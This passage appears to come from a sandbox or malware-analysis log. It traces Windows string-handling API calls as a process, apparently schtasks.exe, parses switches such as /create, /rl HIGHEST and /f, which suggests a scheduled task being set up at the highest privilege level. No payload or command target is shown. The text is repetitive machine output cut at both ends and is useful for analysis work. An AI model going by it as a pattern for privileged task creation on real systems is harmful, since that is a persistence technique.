(lpString="p") returned 1 [0058.534] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] lstrlenW (lpString="rl") returned 2 [0058.534] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.534] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.534] lstrlenW (lpString="|p|") returned 3 [0058.534] lstrlenW (lpString="|rl|") returned 4 [0058.534] SetLastError (dwErrCode=0x490) [0058.534] lstrlenW (lpString="ru") returned 2 [0058.534] lstrlenW (lpString="ru") returned 2 [0058.534] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] lstrlenW (lpString="rl") returned 2 [0058.534] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.534] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.534] lstrlenW (lpString="|ru|") returned 4 [0058.534] lstrlenW (lpString="|rl|") returned 4 [0058.534] StrStrIW (lpFirst="|ru|", lpSrch="|rl|") returned 0x0 [0058.534] SetLastError (dwErrCode=0x490) [0058.534] lstrlenW (lpString="rp") returned 2 [0058.534] lstrlenW (lpString="rp") returned 2 [0058.534] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] lstrlenW (lpString="rl") returned 2 [0058.534] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.534] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.534] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.535] lstrlenW (lpString="|rp|") returned 4 [0058.535] lstrlenW (lpString="|rl|") returned 4 [0058.535] StrStrIW (lpFirst="|rp|", lpSrch="|rl|") returned 0x0 [0058.535] SetLastError (dwErrCode=0x490) [0058.535] lstrlenW (lpString="sc") returned 2 [0058.535] lstrlenW (lpString="sc") returned 2 [0058.535] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.535] lstrlenW (lpString="rl") returned 2 [0058.535] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.535] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.535] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.535] lstrlenW (lpString="|sc|") returned 4 [0058.535] lstrlenW (lpString="|rl|") returned 4 [0058.535] StrStrIW (lpFirst="|sc|", lpSrch="|rl|") returned 0x0 [0058.535] SetLastError (dwErrCode=0x490) [0058.535] lstrlenW (lpString="mo") returned 2 [0058.535] lstrlenW (lpString="mo") returned 2 [0058.535] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.535] lstrlenW (lpString="rl") returned 2 [0058.535] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.535] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|mo|") returned 4 [0058.535] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.535] lstrlenW (lpString="|mo|") returned 4 [0058.535] lstrlenW (lpString="|rl|") returned 4 [0058.535] StrStrIW (lpFirst="|mo|", lpSrch="|rl|") returned 0x0 [0058.535] SetLastError (dwErrCode=0x490) [0058.535] lstrlenW (lpString="d") returned 1 [0058.535] lstrlenW (lpString="d") returned 1 [0058.535] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.535] lstrlenW (lpString="rl") returned 2 [0058.536] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|d|") returned 3 [0058.536] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.536] lstrlenW (lpString="|d|") returned 3 [0058.536] lstrlenW (lpString="|rl|") returned 4 [0058.536] SetLastError (dwErrCode=0x490) [0058.536] lstrlenW (lpString="m") returned 1 [0058.536] lstrlenW (lpString="m") returned 1 [0058.536] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] lstrlenW (lpString="rl") returned 2 [0058.536] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|m|") returned 3 [0058.536] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.536] lstrlenW (lpString="|m|") returned 3 [0058.536] lstrlenW (lpString="|rl|") returned 4 [0058.536] SetLastError (dwErrCode=0x490) [0058.536] lstrlenW (lpString="i") returned 1 [0058.536] lstrlenW (lpString="i") returned 1 [0058.536] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] lstrlenW (lpString="rl") returned 2 [0058.536] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|i|") returned 3 [0058.536] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.536] lstrlenW (lpString="|i|") returned 3 [0058.536] lstrlenW (lpString="|rl|") returned 4 [0058.536] SetLastError (dwErrCode=0x490) [0058.536] lstrlenW (lpString="tn") returned 2 [0058.536] lstrlenW (lpString="tn") returned 2 [0058.536] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.536] lstrlenW (lpString="rl") returned 2 [0058.536] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tn|") returned 4 [0058.537] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.537] lstrlenW (lpString="|tn|") returned 4 [0058.537] lstrlenW (lpString="|rl|") returned 4 [0058.537] StrStrIW (lpFirst="|tn|", lpSrch="|rl|") returned 0x0 [0058.537] SetLastError (dwErrCode=0x490) [0058.537] lstrlenW (lpString="tr") returned 2 [0058.537] lstrlenW (lpString="tr") returned 2 [0058.537] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] lstrlenW (lpString="rl") returned 2 [0058.537] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|tr|") returned 4 [0058.537] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.537] lstrlenW (lpString="|tr|") returned 4 [0058.537] lstrlenW (lpString="|rl|") returned 4 [0058.537] StrStrIW (lpFirst="|tr|", lpSrch="|rl|") returned 0x0 [0058.537] SetLastError (dwErrCode=0x490) [0058.537] lstrlenW (lpString="st") returned 2 [0058.537] lstrlenW (lpString="st") returned 2 [0058.537] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] lstrlenW (lpString="rl") returned 2 [0058.537] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|st|") returned 4 [0058.537] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.537] lstrlenW (lpString="|st|") returned 4 [0058.537] lstrlenW (lpString="|rl|") returned 4 [0058.537] StrStrIW (lpFirst="|st|", lpSrch="|rl|") returned 0x0 [0058.537] SetLastError (dwErrCode=0x490) [0058.537] lstrlenW (lpString="sd") returned 2 [0058.537] lstrlenW (lpString="sd") returned 2 [0058.537] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.537] lstrlenW (lpString="rl") returned 2 [0058.538] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.538] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sd|") returned 4 [0058.538] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.538] lstrlenW (lpString="|sd|") returned 4 [0058.538] lstrlenW (lpString="|rl|") returned 4 [0058.538] StrStrIW (lpFirst="|sd|", lpSrch="|rl|") returned 0x0 [0058.538] SetLastError (dwErrCode=0x490) [0058.538] lstrlenW (lpString="ed") returned 2 [0058.538] lstrlenW (lpString="ed") returned 2 [0058.538] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.538] lstrlenW (lpString="rl") returned 2 [0058.538] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.538] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ed|") returned 4 [0058.538] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.538] lstrlenW (lpString="|ed|") returned 4 [0058.538] lstrlenW (lpString="|rl|") returned 4 [0058.538] StrStrIW (lpFirst="|ed|", lpSrch="|rl|") returned 0x0 [0058.538] SetLastError (dwErrCode=0x490) [0058.538] lstrlenW (lpString="it") returned 2 [0058.538] lstrlenW (lpString="it") returned 2 [0058.538] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.538] lstrlenW (lpString="rl") returned 2 [0058.538] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.538] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|it|") returned 4 [0058.538] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.538] lstrlenW (lpString="|it|") returned 4 [0058.538] lstrlenW (lpString="|rl|") returned 4 [0058.538] StrStrIW (lpFirst="|it|", lpSrch="|rl|") returned 0x0 [0058.538] SetLastError (dwErrCode=0x490) [0058.538] lstrlenW (lpString="et") returned 2 [0058.538] lstrlenW (lpString="et") returned 2 [0058.538] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.539] lstrlenW (lpString="rl") returned 2 [0058.539] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.539] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|et|") returned 4 [0058.539] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.539] lstrlenW (lpString="|et|") returned 4 [0058.539] lstrlenW (lpString="|rl|") returned 4 [0058.539] StrStrIW (lpFirst="|et|", lpSrch="|rl|") returned 0x0 [0058.539] SetLastError (dwErrCode=0x490) [0058.539] lstrlenW (lpString="k") returned 1 [0058.539] lstrlenW (lpString="k") returned 1 [0058.539] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.540] lstrlenW (lpString="rl") returned 2 [0058.541] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.541] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|k|") returned 3 [0058.541] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.541] lstrlenW (lpString="|k|") returned 3 [0058.541] lstrlenW (lpString="|rl|") returned 4 [0058.541] SetLastError (dwErrCode=0x490) [0058.541] lstrlenW (lpString="du") returned 2 [0058.541] lstrlenW (lpString="du") returned 2 [0058.541] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] lstrlenW (lpString="rl") returned 2 [0058.542] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|du|") returned 4 [0058.542] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.542] lstrlenW (lpString="|du|") returned 4 [0058.542] lstrlenW (lpString="|rl|") returned 4 [0058.542] StrStrIW (lpFirst="|du|", lpSrch="|rl|") returned 0x0 [0058.542] SetLastError (dwErrCode=0x490) [0058.542] lstrlenW (lpString="ri") returned 2 [0058.542] lstrlenW (lpString="ri") returned 2 [0058.542] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] lstrlenW (lpString="rl") returned 2 [0058.542] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ri|") returned 4 [0058.542] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.542] lstrlenW (lpString="|ri|") returned 4 [0058.542] lstrlenW (lpString="|rl|") returned 4 [0058.542] StrStrIW (lpFirst="|ri|", lpSrch="|rl|") returned 0x0 [0058.542] SetLastError (dwErrCode=0x490) [0058.542] lstrlenW (lpString="z") returned 1 [0058.542] lstrlenW (lpString="z") returned 1 [0058.542] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] lstrlenW (lpString="rl") returned 2 [0058.542] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.542] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|z|") returned 3 [0058.542] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.542] lstrlenW (lpString="|z|") returned 3 [0058.542] lstrlenW (lpString="|rl|") returned 4 [0058.542] SetLastError (dwErrCode=0x490) [0058.542] lstrlenW (lpString="f") returned 1 [0058.542] lstrlenW (lpString="f") returned 1 [0058.542] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] lstrlenW (lpString="rl") returned 2 [0058.543] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.543] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.543] lstrlenW (lpString="|f|") returned 3 [0058.543] lstrlenW (lpString="|rl|") returned 4 [0058.543] SetLastError (dwErrCode=0x490) [0058.543] lstrlenW (lpString="v1") returned 2 [0058.543] lstrlenW (lpString="v1") returned 2 [0058.543] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] lstrlenW (lpString="rl") returned 2 [0058.543] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|v1|") returned 4 [0058.543] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.543] lstrlenW (lpString="|v1|") returned 4 [0058.543] lstrlenW (lpString="|rl|") returned 4 [0058.543] StrStrIW (lpFirst="|v1|", lpSrch="|rl|") returned 0x0 [0058.543] SetLastError (dwErrCode=0x490) [0058.543] lstrlenW (lpString="xml") returned 3 [0058.543] lstrlenW (lpString="xml") returned 3 [0058.543] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] lstrlenW (lpString="rl") returned 2 [0058.543] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.543] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|xml|") returned 5 [0058.543] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.543] lstrlenW (lpString="|xml|") returned 5 [0058.543] lstrlenW (lpString="|rl|") returned 4 [0058.543] StrStrIW (lpFirst="|xml|", lpSrch="|rl|") returned 0x0 [0058.543] SetLastError (dwErrCode=0x490) [0058.543] lstrlenW (lpString="ec") returned 2 [0058.543] lstrlenW (lpString="ec") returned 2 [0058.543] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.544] lstrlenW (lpString="rl") returned 2 [0058.544] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.544] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ec|") returned 4 [0058.544] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.544] lstrlenW (lpString="|ec|") returned 4 [0058.544] lstrlenW (lpString="|rl|") returned 4 [0058.544] StrStrIW (lpFirst="|ec|", lpSrch="|rl|") returned 0x0 [0058.544] SetLastError (dwErrCode=0x490) [0058.544] lstrlenW (lpString="rl") returned 2 [0058.544] lstrlenW (lpString="rl") returned 2 [0058.544] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.544] lstrlenW (lpString="rl") returned 2 [0058.544] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.544] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.544] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rl|") returned 4 [0058.544] lstrlenW (lpString="|rl|") returned 4 [0058.544] lstrlenW (lpString="|rl|") returned 4 [0058.544] StrStrIW (lpFirst="|rl|", lpSrch="|rl|") returned="|rl|" [0058.544] SetLastError (dwErrCode=0x0) [0058.544] SetLastError (dwErrCode=0x0) [0058.544] lstrlenW (lpString="HIGHEST") returned 7 [0058.544] lstrlenW (lpString="-/") returned 2 [0058.544] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0058.544] SetLastError (dwErrCode=0x490) [0058.544] SetLastError (dwErrCode=0x490) [0058.544] SetLastError (dwErrCode=0x0) [0058.544] lstrlenW (lpString="HIGHEST") returned 7 [0058.544] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0058.544] SetLastError (dwErrCode=0x490) [0058.544] SetLastError (dwErrCode=0x0) [0058.544] _memicmp (_Buf1=0x6d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.544] lstrlenW (lpString="HIGHEST") returned 7 [0058.545] lstrlenW (lpString="HIGHEST") returned 7 [0058.545] lstrlenW (lpString=" \x09") returned 2 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x47) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x48) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x53) returned 0x0 [0058.545] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0058.545] GetLastError () returned 0x0 [0058.545] lstrlenW (lpString="HIGHEST") returned 7 [0058.545] lstrlenW (lpString="HIGHEST") returned 7 [0058.545] SetLastError (dwErrCode=0x0) [0058.545] SetLastError (dwErrCode=0x0) [0058.545] lstrlenW (lpString="/f") returned 2 [0058.545] lstrlenW (lpString="-/") returned 2 [0058.545] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0058.545] lstrlenW (lpString="create") returned 6 [0058.545] lstrlenW (lpString="create") returned 6 [0058.545] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.545] lstrlenW (lpString="f") returned 1 [0058.545] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.545] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|create|") returned 8 [0058.545] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.545] lstrlenW (lpString="|create|") returned 8 [0058.545] lstrlenW (lpString="|f|") returned 3 [0058.545] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0058.545] SetLastError (dwErrCode=0x490) [0058.545] lstrlenW (lpString="?") returned 1 [0058.545] lstrlenW (lpString="?") returned 1 [0058.545] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.545] lstrlenW (lpString="f") returned 1 [0058.546] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.546] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|?|") returned 3 [0058.546] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.546] lstrlenW (lpString="|?|") returned 3 [0058.546] lstrlenW (lpString="|f|") returned 3 [0058.546] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0058.546] SetLastError (dwErrCode=0x490) [0058.546] lstrlenW (lpString="s") returned 1 [0058.546] lstrlenW (lpString="s") returned 1 [0058.546] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.546] lstrlenW (lpString="f") returned 1 [0058.546] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.546] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|s|") returned 3 [0058.546] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.546] lstrlenW (lpString="|s|") returned 3 [0058.546] lstrlenW (lpString="|f|") returned 3 [0058.546] StrStrIW (lpFirst="|s|", lpSrch="|f|") returned 0x0 [0058.546] SetLastError (dwErrCode=0x490) [0058.546] lstrlenW (lpString="u") returned 1 [0058.546] lstrlenW (lpString="u") returned 1 [0058.546] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.546] lstrlenW (lpString="f") returned 1 [0058.546] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.546] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|u|") returned 3 [0058.546] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.546] lstrlenW (lpString="|u|") returned 3 [0058.546] lstrlenW (lpString="|f|") returned 3 [0058.546] StrStrIW (lpFirst="|u|", lpSrch="|f|") returned 0x0 [0058.546] SetLastError (dwErrCode=0x490) [0058.546] lstrlenW (lpString="p") returned 1 [0058.546] lstrlenW (lpString="p") returned 1 [0058.547] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] lstrlenW (lpString="f") returned 1 [0058.547] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|p|") returned 3 [0058.547] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.547] lstrlenW (lpString="|p|") returned 3 [0058.547] lstrlenW (lpString="|f|") returned 3 [0058.547] StrStrIW (lpFirst="|p|", lpSrch="|f|") returned 0x0 [0058.547] SetLastError (dwErrCode=0x490) [0058.547] lstrlenW (lpString="ru") returned 2 [0058.547] lstrlenW (lpString="ru") returned 2 [0058.547] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] lstrlenW (lpString="f") returned 1 [0058.547] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|ru|") returned 4 [0058.547] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.547] lstrlenW (lpString="|ru|") returned 4 [0058.547] lstrlenW (lpString="|f|") returned 3 [0058.547] StrStrIW (lpFirst="|ru|", lpSrch="|f|") returned 0x0 [0058.547] SetLastError (dwErrCode=0x490) [0058.547] lstrlenW (lpString="rp") returned 2 [0058.547] lstrlenW (lpString="rp") returned 2 [0058.547] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] lstrlenW (lpString="f") returned 1 [0058.547] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.547] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|rp|") returned 4 [0058.547] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.547] lstrlenW (lpString="|rp|") returned 4 [0058.547] lstrlenW (lpString="|f|") returned 3 [0058.547] StrStrIW (lpFirst="|rp|", lpSrch="|f|") returned 0x0 [0058.547] SetLastError (dwErrCode=0x490) [0058.547] lstrlenW (lpString="sc") returned 2 [0058.548] lstrlenW (lpString="sc") returned 2 [0058.548] _memicmp (_Buf1=0x6c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] lstrlenW (lpString="f") returned 1 [0058.548] _memicmp (_Buf1=0x6c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0058.548] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|sc|") returned 4 [0058.548] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21c628 | out: _Buffer="|f|") returned 3 [0058.548] lstrlenW (lpString="|sc|") returned 4 [0058.548] lstrlenW (lpString="|f|") returned 3 [0058.548] StrStrIW 